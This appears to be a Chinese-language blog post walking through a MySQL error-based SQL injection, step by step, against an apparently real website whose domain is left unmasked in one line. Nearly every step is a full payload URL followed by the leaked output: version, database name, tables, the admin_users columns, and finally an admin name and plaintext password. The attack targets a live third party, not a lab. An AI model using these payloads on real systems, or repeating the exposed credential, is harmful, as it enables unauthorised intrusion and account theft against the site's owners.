MySQL基於報錯注入2

 

目標站點：

 

0x1 注入點判斷

http://www.xxxxxx.com/pages/services.php?id=1 #true

http://www.xxxxxx.com/pages/services.php?id=1' #false

閉合單引號：

http://www.xxxxxxcom/pages/services.php?id=1' --+ #true

 

0x2 獲取當前數據庫基本信息

數據庫版本信息：

http://www.xxxxxx.com/pages/services.php?id=1'  +OR+1+GROUP+BY+CONCAT_WS(0x3a,VERSION(),FLOOR(RAND(0)*2))+HAVING+MIN(0)+OR+1 --+

Duplicate entry '10.1.38-MariaDB-cll-lve:1' for key 'group_key'

當前數據庫：

http://www.xxxxxx.com/pages/services.php?id=1'  +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+

kuuku205_ohms

 

0x3 獲取對應庫的表名

http://www.xxxxxx.com/pages/services.php?id=1'  +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+

admin_users

bdetails

booking

calendar

ga_admin_users

ga_news

ga_pages

ga_products

pages

photogallery

。。。。。太多了，這裏只關注admin表

 

0x4 獲取admin_users標的字段

http://www.xxxxxx.com/pages/services.php?id=1'  +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x61646d696e5f7573657273+AND+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+

Duplicate entry 'userid~1' for key 'group_key'

http://www.xxxxxx.com/pages/services.php?id=1'  +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x61646d696e5f7573657273+AND+table_schema=DATABASE()+LIMIT+1,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+

Duplicate entry 'password~1' for key 'group_key'

http://www.ohmsghana.com/pages/services.php?id=1'  +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x61646d696e5f7573657273+AND+table_schema=DATABASE()+LIMIT+2,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+

Duplicate entry 'fname~1' for key 'group_key'

http://www.xxxxxx.com/pages/services.php?id=1'  +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x61646d696e5f7573657273+AND+table_schema=DATABASE()+LIMIT+3,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+

Duplicate entry 'lname~1' for key 'group_key'

這裏只獲取：

lname,password 便可

 

0x5 獲取數據庫字段數據

http://www.xxxxxx.com/pages/services.php?id=1'  +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(lname,0x7e,password)+AS+CHAR),0x7e))+FROM+admin_users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) --+

Duplicate entry 'Staff~admin4ohms~1' for key 'group_key'